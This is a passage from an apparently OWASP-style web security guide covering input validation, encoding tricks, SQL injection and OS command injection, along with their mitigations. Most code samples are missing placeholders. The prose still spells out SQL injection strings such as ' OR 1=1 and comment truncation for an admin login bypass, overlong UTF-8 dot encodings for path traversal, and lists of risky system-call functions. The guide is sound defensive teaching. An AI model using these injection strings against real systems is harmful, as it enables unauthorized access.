Finally, digital certificates are an important infrastructure component for the SSL protocol. There are two commonly used digital certificates: Ones generated by a well-known and trusted certification authority and those that are self-signed (trusted to the issuing system only).

8.7. References

1. SSL and TLS: Designing and Building Secure Systems, Eric Rescorla, Addison-Wesley Press, 2000, ISBN 0201615983.

2. SSL and TLS Essentials, Stephen Thomas, Wiley Press, 2000, ISBN 0471383546.

3. The TLS Standard, at http://www.ietf.org, RFCs #2246 and #3546.

4. The OpenSSL man page, at http://www.openssl.org.

5. SSH, the Secure Shell: the Definitive Guide, Daniel J. Barrett, et al, O'Reilly & Associates, 2001, ISBN 0596000111.

6. Implementing SSH, Himanshu Dwivedi, Wiley Press, 2003, ISBN 0471458805.

7. Digital Certificates: Applied Internet Security, Feghhi, Feghhi, and Williams, Addison-Wesley Press, 1999, ISBN 0201209807.

8. Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile, at http://www.ietf.org, RFC #3280.

9. The PKCS Standards, RSA Security, Inc. at http://www.rsasecurity.com/rsalabs.

10. Applied Cryptography, Bruce Schneier, Wiley Press, Second Edition, 1995, ISBN 0471117099.

11. The Top Ten List, the Open Web Application Security Project (OWASP), 2004, at http://www.owasp.org.

Chapter 9. Input Validation

9.1. Introduction

This chapter describes the most common problem that web applications typically exhibit, which is the failure to properly validate input from the client. This failure leads to many of the major vulnerabilities in applications, such as some form of Software Fault Injection (SQL Injection, HTML Injection also known as Cross-Site Scripting) and Buffer Overflows.

This chapter will deal with the following issues:

- Input Sources

  This section discusses the various sources of input that an application needs to protect.
- Input Formats

  Input can be formatted or encoded in various ways that can make protecting an application more difficult.
- Concept of Software Fault Injection

  Most input vulnerabilities are based on the concept of injection. Understanding this issue opens the door to SQL Injection and HTML Injection.
- Common Protection Techniques

  There are various common techniques used to protect applications. This section discusses the pros and cons of these techniques.
- Specific Vulnerabilities

  Specific vulnerabilities including SQL Injection, HTML Injection (Cross-site Scripting) and Buffer Overflows are discussed in view of the foundational information in the chapter. How these specific vulnerabilities exploit flaws in the data input handling and how the proper validation checks protect the application is discussed.

Generally said, no data coming from the client can be trusted for the client has every possibility to tamper with the data. So every value must be checked as this chapter will explain in detail.

Before we dive into the details, let's first look at a concrete example of a website defacement because of some unchecked input to a webserver. A few years ago there was a very controversial website which was all about hacking and security. This website used content from other sites quite like in the manner od RSS feeds which are in wide use nowadays. This website was very controversial in the "scene" mostly because of it's frontman which was said had no idea about what he did.

One day the front page of that said website was defaced, had some changed sections which looked like somebody gained access to the server and changed the content of the main page without the knowledge of the sites responsible person. There was no evidence of a backdoor and the logs did not show anything suspicious,

nor did the IDS or the system and it's binaries.

Somewhen the attack was explained in detail. Some third parties feeds which were taken and put automatically on the front page of said website were altered slightly. This change provoked, that this front page did not look like it was expected, but appeared to be defaced. The problem was actually some "fault" injection which was undetected by any scanner, because there was actually no active attack, the web server defaced itself.

To make this story short: This example explains, that even when a server is completely patched, the web server software is up to date and without flaws and the server is located in a locked server room without physical access for unauthorized personnel it still is possible to find backdoors at some unexpected locations.

If we now take our immagination to a situation where we think about the same happening on some financial website where financial informations get faked and stock prices get messed up. This could have worse or worst consequences.

9.1.1. Input Sources

To understand how problems in input validation can pose significant security risks, we start with the data sources. There are various information sources that all must be protected to lock down an application. Manipulating the data sent between the browser and the web application has long been a simple but effective way to allow an attacker to force applications to access sensitive or unauthorized information.

No data sent to the browser can be relied upon to stay the same unless cryptographically protected at the application layer. Cryptographic protection in the transport layer (SSL) in no way protects one from attacks like parameter manipulation in which data is mangled before it hits the wire. The basic input sources are:

- URL Query Strings
- Form Fields
- Cookies
- HTTP Headers

9.2. URL Query Strings

HTML Forms may submit their results using one of two methods: GET or POST. If the method is GET, all form element names and values will appear in the query string of the next URL the user sees. Tampering with query strings is as easy as modifying the URL in the browser's address bar.

Take the following example: a web page allows the authenticated user to select one of his pre-populated accounts from a drop-down box to view the current balance. The user's choice is recorded by pressing the submit button. The page is actually storing the entry in a form field value and submitting it using a

form submit command. The command sends the following HTTP request. A malicious user could attempt to pass account numbers for other users to the application by changing the parameter as follows:

This new parameter would be sent to the application and be processed accordingly. Many applications would rely on the fact that the correct account numbers for this user were in the drop down list and not recheck to make sure the account number supplied matches the logged in user. By not rechecking the account number, the balance of other user's account can be exposed to an attacker.

Unfortunately, it isn't just HTML forms that present these problems. Almost all navigation done on the Internet is through hyperlinks. When a user clicks on a hyperlink to navigate from one site to another, or within a single application, he is sending GET requests. Many of these requests will have a query string with parameters just like a form. A user can simply look in the "Address" window of his browser and change the parameter values.

When parameters need to be sent from a client to a server, they should be accompanied by a valid session token. The session token may also be a parameter, or a cookie. Session tokens have their own special security. In the example above, the application should not allow access to the account without first checking if the user associated with the session has permission to view the account specified by the parameter "accountnumber". The script that processes the account request cannot assume that access control decisions were made on previous application pages.

9.3. Form Fields

HTML form fields come in many different styles, such as text fields, drop downs, radio buttons and check boxes. HTML can also store field values as hidden fields, which are not rendered to the screen by the browser but are collected and submitted as parameters during form submissions.

Whether these form fields are pre-selected (drop down, check boxes etc.), free form text fields or hidden, they can all be manipulated by the user to submit whatever values he/she chooses. In most cases this is as simple as saving the page using "view source", "save", editing the HTML and re-loading the page in the web browser.

Some developers try to prevent the user from entering large values by setting a form field attribute maxlength= (an integer) in the belief they will prevent a malicious user from attempting to inject buffer overflows of overly long parameters. However the malicious user can simply save the page, remove the maxlength tag and reload the page in his browser. Other interesting form field attributes include disabled and readonly. Data (and code) sent to clients must not be relied upon until it is properly validated. Code sent to browsers is merely a set of suggestions and has no security value.

Hidden form fields represent a convenient way for developers to store data in the browser and are one of the most common ways of carrying data between pages in wizard type applications. All of the same rules apply to hidden forms fields as apply to regular form fields.

For example, a login form with the following hidden form field may be exposing a significant vulnerability:

```
MISSING SNIPPET
```

By manipulating the hidden value to a Y, the application would have logged the user in as an Administrator. Hidden form fields are extensively used in a variety of ways and while it's easy to understand the dangers, they still are found to be significantly vulnerable in the wild.

Instead of using hidden form fields, the application designer can simply use one session token to reference properties stored in a server-side cache. When an application needs to check a user property, it checks the session cookie with its session table and points to the user's data variables in the cache/database. This is by far a more secure way to architect this problem.

If the above technique of using a session variable instead of a hidden field cannot be implemented, a second approach is as follows.

The name/value pairs of the hidden fields in a form can be concatenated together into a single string. A secret key that never appears in the form is also appended to the string. This string is called the Outgoing Form Message. An MD5 digest or other one-way hash is generated for the Outgoing Form Message. This is called the Outgoing Form Digest and it is added to the form as an additional hidden field.

When the form is submitted, the incoming name/value pairs are again concatenated along with the secret key into an Incoming Form Message. An MD5 digest of the Incoming Form Message is computed. Then the Incoming Form Digest is compared to the Outgoing Form Digest (which is submitted along with the form) and if they do not match, then a hidden field has been altered. Note, for the digests to match, the name/value pairs in the Incoming and Outgoing Form Messages must concatenated together in the exact same order both times.

This same technique can be used to prevent tampering with parameters in a URL. An additional digest parameter can be added to the URL query string following the same technique described above.

9.4. Cookies

Cookies are a common method to maintain state in the stateless HTTP protocol. They are also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and nonpersistent cookies can be modified by the client and sent to the server with URL requests. Therefore any malicious user can modify cookie content to his advantage.

There is a popular misconception that nonpersistent cookies cannot be modified but this is not true. Also, SSL only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions. (Many cookies are Base64 encoded; this is an encoding scheme and offers no cryptographic protection).

As an example, a cookie with the following value:

```
MISSING SNIPPET
```

can simply be modified to:

```
MISSING SNIPPET
```

One mitigation technique is to simply use one session token to reference properties stored in a server-side cache. This is by far the most reliable way to ensure that data is sane on return: simply do not trust user input for values that you already know. When an application needs to check a user property, it checks the userid with its session table and points to the users data variables in the cache/database.

Another technique involves building intrusion detection hooks to evaluate the cookie for any infeasible or impossible combinations of values that would indicate tampering. For instance, if the "administrator" flag is set in a cookie, but the userid value does not belong to someone on the development team.

The final method is to encrypt the cookie to prevent tampering. There are several ways to do this including hashing the cookie and comparing hashes when it is returned or a symmetric encryption.

9.5. HTTP Headers

HTTP headers are control information passed from web clients to web servers on HTTP requests, and from web servers to web clients on HTTP responses. Each header normally consists of a single line of ASCII text with a name and a value. Sample headers from a POST request follow.

Often HTTP headers are used by the browser and the web server software only. Most web applications pay no attention to them. However some web developers choose to inspect incoming headers, and in those cases it is important to realize that request headers originate at the client side, and they may thus be altered by an attacker.

Some web browsers do not allow header modification, others as mozilla or Konqueror do. An attacker can also write his own program (about 15 lines of Perl code will do) to perform the HTTP request, or he may use one of several freely available proxies that allow easy modification of any data sent from the browser.

The Referer header (note the spelling), which is sent by most browsers, normally contains the URL of the web page from which the request originated. Some web sites choose to check this header in order to make sure the request originated from a page generated by them, for example in the belief it prevents attackers from saving web pages, modifying forms, and posting them off their own computer. This security mechanism will fail, as the attacker will be able to modify the Referer header to look like it came from the original site.

The Accept-Language header indicates the preferred language(s) of the user. A web application doing internationalization (i18n) may pick up the language label from the HTTP header and pass it to a database in order to look up a text. If the content of the header is sent verbatim to the database, an attacker may be able to inject SQL commands (see SQL injection) by modifying the header. Likewise, if the header content is used to build a name of a file from which to look up the correct language text, an attacker may be able to launch a path

traversal attack.

Some webapplications process infromations from the header like the Agent field which some sites store in some database for statistics. While this is a silly behaviour because the webserver itselfs could do this, it is also another security risk when they fail to perform the validation.

Sometimes clients do not supply the agent field for some privacy reasons or some others and then some web applications crash, supplying some security critical data to the user.

Simply put headers cannot be relied upon without additional security measures. If a header originated server-side such as a cookie it can be cryptographically protected. If it originated client-side such as a referer it should not be used to make any security decisions.

For more information on headers, please see RFC 2616, which defines HTTP/1.1.

9.6. Input Formats

Canonicalization deals with the way in which systems convert data from one form to another. Canonical means the simplest or most standard form of something. Canonicalization is the process of converting something from one representation to the simplest form. Web applications have to deal with lots of canonicalization issues from URL encoding to IP address translation. When security decisions are made based on canonical forms of data, it is therefore essential that the application is able to deal with canonicalization issues accurately.

9.7. URL Encoding

The RFC 1738 specification defining Uniform Resource Locators (URLs) and the RFC 2396 specification for Uniform Resource Identifiers (URIs) both restrict the characters allowed in a URL or URI to a subset of the US-ASCII character set. According to the RFC 1738 specification, "only alphanumerics, the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL." The data used by a web application, on the other hand, is not restricted in any way and in fact may be represented by any existing character set or even binary data.

Earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1) character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.

URL-encoding a character is done by taking the character's 8-bit hexadecimal code and prefixing it with a percent sign ("%"). For example, the US-ASCII character set represents a space with decimal code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.

Even though certain characters do not need to be URL-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can be URL-encoded, as can all HTML entities and any meta characters used by the operating system or database. Because URL-encoding allows virtually any data to be passed to the server, proper precautions must be taken by a web application when accepting data. URL-encoding can be used as a mechanism for disguising many types of malicious code.

Here is a SQL Injection example that shows how this attack can be accomplished.

Original database query in search.asp:

```
MISSING SNIPPET
```

HTTP request:

```
MISSING SNIPPET
```

Executed database query:

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after decoding is completed. It is usually the web server itself that decodes the URL and hence this problem may only occur on the web server itself.

9.8. Unicode

Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using Unicode to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.

The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are "URL decoding" potentially followed by "UTF-8 decoding", and intermingled with them are various security checks, which are also processing steps. If, for example, one of the security checks is searching for "..", and it is carried out before UTF-8 decoding takes place, it is possible to inject ".." in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it.

9.8.1. Examples

Consider the ASCII character "." (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations:

```
E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.
```

Consider the representation C0 AE of a ".". Like UTF-8 encoding requires, the second octet has "10" as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest of the possible 2 bit combinations ("00", "01" and "11"). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.

It is thus possible to form illegal UTF-8 encodings, in two senses:

- A UTF-8 sequence for a given symbol may be longer than necessary for representing the symbol.

  A UTF-8 sequence may contain octets that are in incorrect format (i.e. do not comply with the above 6 formats).

To further "complicate" things, each representation can be sent over HTTP in several ways:

- In the raw. That is, without URL encoding at all. This usually results in sending non-ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non-ASCII characters.

  Valid URL encoding. Each non-ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0% AE.

  Invalid URL encoding. This is a variant of valid URL encoding, wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms.

  For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non-hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.

It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well.

URL Encoding of the example attack:

```
MISSING SNIPPET
```

Unicode encoding of the example attack:

```
MISSING SNIPPET
```

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after UTF-8 decoding is completed. Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it represents.

http://www.ietf.org/rfc/rfc2279.txt?number=2279

9.9. Null Bytes

While web applications may be developed in a variety of programming languages, these applications often pass data to underlying lower level C-functions for further processing and functionality.

If a given string, lets say "AAA\0BBB" is accepted as a valid string by a web application (or specifically the programming language), it may be shortened to "AAA" by the underlying C-functions. This occurs because C/C++ perceives the null byte (\0) as the termination of a string. Applications that do not perform adequate input validation can be fooled by inserting null bytes in "critical" parameters. This is normally done by URL Encoding the null bytes (%00). In special cases it is possible to use Unicode characters.

The attack can be used to:

- Disclose physical paths, files and OS-information
- Truncate strings
- Truncate Paths
- Truncate Files
- Truncate Commands
- Truncate Command parameters
- Bypass validity checks, looking for substrings in parameters
- Cut off strings passed to SQL Queries

The most popular affected scripting and programming languages are:

- Perl (highly)
- Java (File, RandomAccessFile and similar Java-Classes)
- PHP (depending on its configuration)

Preventing null byte attacks requires that all input be validated before the application acts upon it.

9.10. Injection

Now that you understand where data comes from in a web application and some of the different forms it may take, we now look at the core issue of these types of attacks: injection. Injection itself is not a vulnerability, but injecting data that has not been properly validated usually is. This section will breakdown how injection techniques work. Later in this chapter we will look at specific attacks such as SQL Injection, XSS and Buffer Overflow. All of those attacks are simply variations on the premise of injection.

9.10.1. How is Data Injected?

One way of looking at applications is that they are made up of two distinct parts. The first part is what the developers create. This includes the code, the HTML, the SQL, the OS command calls or any other developer created components.

The other part of the application is what the user provides. This involves the data or information provided by the user, which is then injected or merged with the developer portion of the application to produce the desired result.

For example, a developer may have created the following SQL code:

```
MISSING SNIPPET
```

By clicking on the link for the news article she wants to read, the user supplies the newsID of 228, which is then injected into the application resulting in the following line of code:

```
MISSING SNIPPET
```

The code executes and the desired news story is returned to the user for viewing. In and of itself, there is nothing malicious in the injection. In fact, it is the basic premise of all application development. There are countless techniques for how injection will take place, but the basic concept holds true across all tools, languages and techniques. Another example would be, the following code which attempts to open a template file for use by the application:

```
MISSING SNIPPET
```

In this case, the template file name is being supplied as a hidden form field. When the user fills in the form and clicks on submit, the template file of "user.tmpl" is injected into the application resulting in:

```
MISSING SNIPPET
```

Finally, we see injection play out very visibly when we use a web application that changes the HTML because of the information we provide. For example, after logging into the application, the following code is run:

```
MISSING SNIPPET
```

After our user information has been supplied, it is injected into the code as:

```
MISSING SNIPPET
```

This information is then returned to the user as part of the HTML page to personalize the information. None of the techniques we have looked at here are necessarily vulnerable. This concept is a basic building block of how applications are developed. However, we now turn our attention to how this technique can be perverted. Without the proper checks, this technique can be used as a launching point for many simple yet very effective attacks.

9.10.1.1. Connectors and Payload

The basic premise of injection attacks is to supply data that when injected into the application will cause a particular affect. The attack is completely contained in the data provided by the attacker. The data provided can be broken into three distinct segments:

- Prefix Connector
- Payload
- Suffix Connector

While much of the focal point of injection attacks tends to be around the payload or the portion of that attack that performs the damage, the real focus should be around the connectors. The connectors are the portion of the attack that allow the attack to be spliced into the application, so that the developer created code will execute properly now with the added payload. Without properly constructed connectors, an error will usually be generated and the payload may never be delivered.

In order to understand the full scope of what connectors can be used and to fully mitigate the injection issue, requires a thorough understanding of the language, tools and techniques used in the application. A deep understanding of these components by an attacker results in a dangerous adversary. A deep understanding by the developers can result in an application that protects itself from injection attacks.

While we will look at connectors and payload more specifically in the section on Specific Attacks, let's look at an example to see how connectors come into play. First we look at the SQL code for a login screen:

```
MISSING SNIPPET
```

If we are going to inject an attack into the userLogin field, we first need to address the SQL code that comes before and after the userLogin field. For this example, let's say we want to try to login as the first user in the database. In that case, we don't want the SQL statement to match a valid login id, so we set our prefix connector to be a "' OR ", a single quote followed by the word or.

This closes out the portion of the SQL statement "WHERE login = '' OR ". While this may not find a user, it is valid SQL and allows us to splice in our attack without generating a SQL error.

For the suffix connector, we need to match a single quote there as well. We also have the additional SQL clause of checking the password to contend with. Our suffix connector will have the following syntax '' OR login='". This closes out the SQL statement with '' OR login='' AND password = ...".

We can now add a payload of "1=1", which is simply a statement that will evaluate to true. The effect of this is to return the first user from the database. The data we provide in the attack is now:

```
MISSING SNIPPET - Table 9-2
```

The resulting SQL when this attack is injected is:

```
MISSING SNIPPET
```

With more knowledge about SQL and the database in use, we can modify our connectors to vary the attack signature. For example, we can modify the payload and eliminate the suffix connector.

```
MISSING SNIPPET - Table 9-3
```

The resulting SQL when this attack is injected is:

```
MISSING SNIPPET
```

This attack would have the same effect, but with a slightly different technique. If the database in use was SQL Server, Oracle or another database that supported comments, we could use the suffix connector to eliminate the password portion of the SQL clause.

```
MISSING SNIPPET - Table 9-4
```

The resulting SQL when this attack is injected is:

```
MISSING SNIPPET
```

The double-dash comments out the rest of the line and allows the attacker to perform the same attack with a very restricted amount of space. This attack comprises of 10 characters, which would fit in most user login fields.

One question that remains is how easy is it for an attacker to determine the proper connectors to attack to deliver the payload. Unfortunately, this is not a difficult task. Obviously, access to the source code, whether from an insider or through a source code disclosure vulnerability, takes all of the effort out of the task. Even without the source code, this is a straightforward effort. Detailed error messages often give all of the necessary information to get the format of the attack correct and often even include snippets of the surrounding code, which makes the job even easier. However, what makes this category of attacks so powerful is that even without source code or detailed error messages, these attacks are often successful, simply because of the common techniques used to develop applications. While security through obscurity is rarely if ever a good idea, with injection attacks it is almost certainly a recipe for disaster.

9.10.2. Common Validation Strategies

Many of the common attacks on systems can be prevented, or the threat of occurrence can be significantly reduced, by appropriate data validation. Data validation is one of the most important aspects of designing a secure web application. When we refer to data validation, we are referring to both input to and output from a web application.

Data validation strategies are often heavily influenced by the architecture for the application. If the application is already in production it will be significantly harder to build the optimal architecture than if the application is still in a design stage. If a system takes a typical architectural approach of providing common services then one common component can filter all input and output, thus optimizing the rules and minimizing efforts.

There are three main models to think about when designing a data validation strategy.

- Accept Only Known Valid Data
- Reject Known Bad Data
- Sanitize Bad Data

We cannot emphasize strongly enough that "Accept Only Known Valid Data" is the best strategy. We do, however, recognize that this isn't always feasible for political, financial or technical reasons, and so we describe the other strategies as well.

All three methods must check:

- Data Type
- Syntax
- Length

Data type checking is extremely important. For instance, the application should check to ensure an integer is

being submitted and not a string.

9.10.2.1. Accept Only Known Valid Data

As we mentioned, this is the preferred way to validate data. Applications should accept only input that is known to be safe and expected. As an example, let's assume a password reset system takes in usernames as input. Valid usernames would be defined as ASCII A-Z and 0-9. The application should check that the input is of type string, is comprised of A-Z and 0-9 (performing cannibalization checks as appropriate) and is of a valid length.

A common problem is numeric id fields such as:

```
MISSING SNIPPET
```

that do not check whether the id field is a number.

Rather than setting up elaborate checks for what is bad, a simple test of is this parameter a positive integer would protect the field.

To properly accept only known valid data, a validation strategy must check:

- Data Type
- Min and Max lengths
- Required fields
- If there is an enumerated list of possible values, that the value is in that list
- If there is a specific format or mask, that the value conforms to that format
- That canonical forms are properly handled
- For free form fields, only accepted characters are allowed
- If any risky characters must be allowed, the value must be properly sanitized

The discussion above implies that each data input parameter must be checked in isolation. Indeed for attributes like type, length and whether the field is required or not the implication is valid. However, it would be a mistake to take this implication too far. When analyzing input data the system should not assume that a Prefix Connector, Payload and Suffix Connector all need to arrive in the same data parameter.

In fact the prefix might arrive in one data parameter, the payload in another and the suffix in a third. The application may be concatenating the strings to consturct a query, to render HTML or to submit a file system request. Therefore, it is important that validation be done on the assumption that a character constituting a prefix is dangerous even if the suffix is not found or no possible payload is found within that same parameter.

9.10.2.2. Reject Known Bad Data

The rejecting bad data strategy relies on the application knowing about specific malicious payloads. While it is true that this strategy can limit exposure, it is very difficult for any application to maintain an up-to-date database of web application attack signatures.

9.10.2.3. Sanitize All Data

Attempting to make bad data harmless is certainly an effective second line of defense, especially when dealing with rejecting bad input. However, as described in the canonicalization section of this document, the task is extremely hard and should not be relied upon as a primary defense technique.

Sanitization usually relies on transforming the data into a representation, which does not pose a risk, but allows a normal user to interact with the application without being aware the security checks are present. Some examples of this include:

MISSING SNIPPET - Table 9-5.

9.10.2.4. Sanitize All Data - Never Rely on Client-Side Data Validation.

Client-side validation can always be bypassed. All data validation must be done on the trusted server or under control of the application. With any client-side processing an attacker can simply watch the return value and modify it at will. This seems surprisingly obvious, yet many sites still validate users, including login, using only client-side code such as JavaScript. Data validation on the client side, for purposes of ease of use or user friendliness, is acceptable, but should not be considered a true validation process. All validation should be on the server side, even if it is redundant to cursory validation performed on the client side.

9.10.2.5. Sanitize All Data - Client-side validation includes more than just JavaScript.

Some common client-side validation **misconceptions** include:

- the maxlength attribute will limit how much info a user can enter
- the readonly attribute will prevent a user from changing a value
- hidden form fields cannot be changed
- session cookies cannot be changed
- dropdown list or radio buttons limit choices
- all of the fields in the form will be supplied
- only the fields in the form will be supplied

If the client supplies the information it cannot be trusted. Since most quality assurance testing of web applications simply uses the user interface as the developers intended, many of these issues go unnoticed. These client-side checks are some of the easiest things an attacker has to work around.

9.11. Specific Vulnerabilities

This section discusses many of the common vulnerabilities that result from a failure to properly protect an application from data input vulnerabilities. These issues tend to be some of the most common and dangerous attacks found in web applications. This section discusses these vulnerabilities in the context of the foundation built in this chapter on how these attacks work in general and how they should be protected against.

9.11.1. SQL Injection

9.11.1.1. Description

Well-designed applications insulate the users from business logic. Some applications however do not validate user input and allow malicious users to make direct database calls to the database. This attack, called direct SQL injection, is surprisingly simple.

Imagine a login screen to a web application. When the user enters his user ID and password in the web form, his browser is creating an HTTP request to the web application and sending the data. This should be done over SSL to protect the data in transit.

That typical request actually may look like this (A GET request is used here for demonstration. In practice this should be done using a POST):

```
MISSING SNIPPET
```

The application that receives this request takes the two sets of parameters supplied as input:

```
MISSING SNIPPET
```

The application builds a database query that will check the user ID and password to authenticate the user. That database query may look like this:

All works just fine until the attacker comes along and figures out he can modify the SQL command that actually gets processed and executed. Here he uses a user ID he does not have a password for and is not authorized to access. For instance:

```
MISSING SNIPPET
```

The resulting SQL now appears like this:

```
MISSING SNIPPET
```

The consequences are devastating. The - comments out the rest of the SQL command causing the retrieval to ignore the value in the password field. The attacker has been able to bypass the administrative password and authenticate as the admin user. A badly designed web application means hackers are able to retrieve and place data in authoritative systems of record at will.

Direct SQL Injection can be use to:

- the maxlength attribute will limit how much info a user can enter.
- change SQL values.
- concatenate SQL statements
- add function calls and stored-procedures to a statement
- typecast and concatenate retrieved data

Some examples are shown below to demonstrate these techniques.

Changing SQL Values

```
MISSING SNIPPET
```

Malicious HTTP request

```
MISSING SNIPPET
```

Concatenating SQL Statements

```
MISSING SNIPPET
```

Malicious HTTP request

```
MISSING SNIPPET
```

Adding function calls and stored-procedures to a statement

```
MISSING SNIPPET
```

Malicious HTTP request

```
MISSING SNIPPET
```

Typecast and concatenate retrieved data

```
MISSING SNIPPET
```

Malicious HTTP request

```
MISSING SNIPPET
```

9.11.1.2. Mitigation Techniques

If your input validation strategy is to only accept expected input then the problem is significantly reduced. However this approach is unlikely to stop all SQL injection attacks and can be difficult to implement if the input filtering algorithm has to decide whether the data is destined to become part of a query or not, and if it has to know which database such a query might be run against. For example, a user who enters the last name "O'Neil" into a form includes the special meta-character ('). This input must be allowed, since it is a legitimate part of a name, but it may need to be escaped if it becomes part of a database query. Different databases may require that the character be escaped differently, however, so it would also be important to know for which database the data must be sanitized. Fortunately, there is usually a very good solution to this problem.

The best way to protect a system against SQL injection attacks is to construct all queries with prepared statements and/or parameterized stored procedures. A prepared statement, or parameterized stored procedure, encapsulates variables and should escape special characters within them automatically and in a manner suited to the target database.

Common database API's offer developers two different means of writing a SQL query. For example, in JDBC, the standard Java API for relational database queries, one can write a query either using a PreparedStatement or as a simple String. The preferred method from both a performance and a security standpoint should be to use PreparedStatements.

With a PreparedStatement, the general query is written using a ? as a placeholder for a parameter value. Parameter values are substituted as a second step. The substitution should be done by the JDBC driver such that the value can only be interpreted as the value for the parameter intended and any special characters within it should be automatically escaped by the driver for the database it targets. Different databases escape characters in different ways, so allowing the JDBC driver to handle this function also makes the system more portable.

Common database interface layers in other languages offer similar protections. The Perl DBI module, for example, allows for prepared statements to be made in a way very similar to the JDBC PreparedStatement. Developers should test the behavior of prepared statements in their system early in the development cycle.

Parameterized stored procedures are a related technique that can also mitigate SQL Injection attacks and also have the benefit of executing faster in most cases. Most RDBMS systems offer a means of writing an embedded procedure that will execute a SQL statement using parameters provided during the procedure call. Typically these procedures are written in a proprietary Fourth Generation Language (4GL) such as PL/SQL for Oracle.

When stored procedures are used, the application calls the procedure passing parameters, rather than constructing the SQL query itself. Like PreparedStatements in JDBC, the stored procedure does the substitution in a manner that is safe for that database.

Use of prepared statements or stored procedures is not a panacea. The JDBC specification does NOT require a JDBC driver to properly escape special characters. Many commercial JDBC drivers will do this correctly, but some definitely do not. Developers should test their JDBC drivers with their target database. Fortunately it is often easy to switch from a bad driver to a good one. Writing stored procedures for all database access is often not practical and can greatly reduce application portability across different databases.

Because of these limitations and the lack of available analogues to these techniques in some application development platforms, proper input data validation is still strongly recommended. This includes proper canonicalization of data since a driver may only recognize the characters to be escaped in one of many encodings. Defense in depth implies that all available techniques should be used if possible. Careful consideration of a data validation technique for prevention of SQL Injection attacks is a critical security issue.

Wherever possible use the "only accept known good data" strategy and fall back to sanitizing the data for situations such as "O'Neil". In those cases, the application should filter special characters used in SQL statements. These characters can vary depending on the database used but often include "+", "-", "," "'" (single quote), "" (double quote), "_", "*", ";", "|", "?", "&" and "=".

9.11.1.3. Further Reading

Appendix C in this document contains source code samples for SQL Injection Mitigation.

http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.sqlsecurity.com/faq-inj.asp
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

9.11.2. OS Command Injection

9.11.2.1. Description

Nearly every programming language allows the use of so called "system-commands", and many applications make use of this type of functionality. System-interfaces in programming and scripting languages pass input (commands) to the underlying operating system. The operating system executes the given input and returns its output to stdout along with various return-codes to the application such as successful, not successful etc.

System commands can be a very convenient feature, which with little effort can be integrated into a web-application. Common usage for these commands in web applications are file handling (remove,copy), sending emails and calling operating system tools to modify the applications input and output in various ways (filters).

Depending on the scripting or programming language and the operating-system it is possible to:

- Alter system commands
- Alter parameters passed to system commands
- Execute additional commands and OS command line tools
- Execute additional commands within executed command
- Alter system commands
- Alter system commands

Some common techniques for calling system commands in various languages that should be carefully checked include:

PHP

- require()
- include()
- eval()
- preg_replace() (with /e modifier)
- exec()
- passthru()
- `` (backticks)
- system()
- popen()

Shell Scripts

- often problematic and dependent on the shell

Perl

- open()
- sysopen()
- glob()
- system()
- " (backticks)
- eval()

Java(Servlets, JSP's)

- System.* (especially System.Runtime)

C & C++

- system()

- exec**()
- strcpy
- strcat
- sprintf
- vsprintf
- gets
- strlen
- scanf
- fscanf
- sscanf
- vscanf
- vsscanf
- vfscanf
- realpath
- getopt
- getpass
- streadd
- strecpy
- strtrns

9.11.2.2. Mitigation Techniques

There are several techniques that can be used to mitigate the risk of passing malicious information to system commands. The best way is to carefully limit all information passed to system commands to only known values. If the options that can be passed to the system commands can be enumerated, that list can be checked and the system can ensure that no malicious information gets through.

When the options cannot be enumerated, the other option is to limit the size to the smallest allowable length and to carefully sanitize the input for characters, which could be used to launch the execution of other commands. Those characters will depend on the language used for the application, the specific technique of function being used, as well as the operating system the application runs on. As always, checks will also have to be made for special formatting issues such as Unicoded characters. The complexity of all of these checks should make it very clear why the "only accept known valid data" is the best and easiest approach to implement.

9.11.3. HTML Injection (Cross-site Scripting)

9.11.3.1. Description

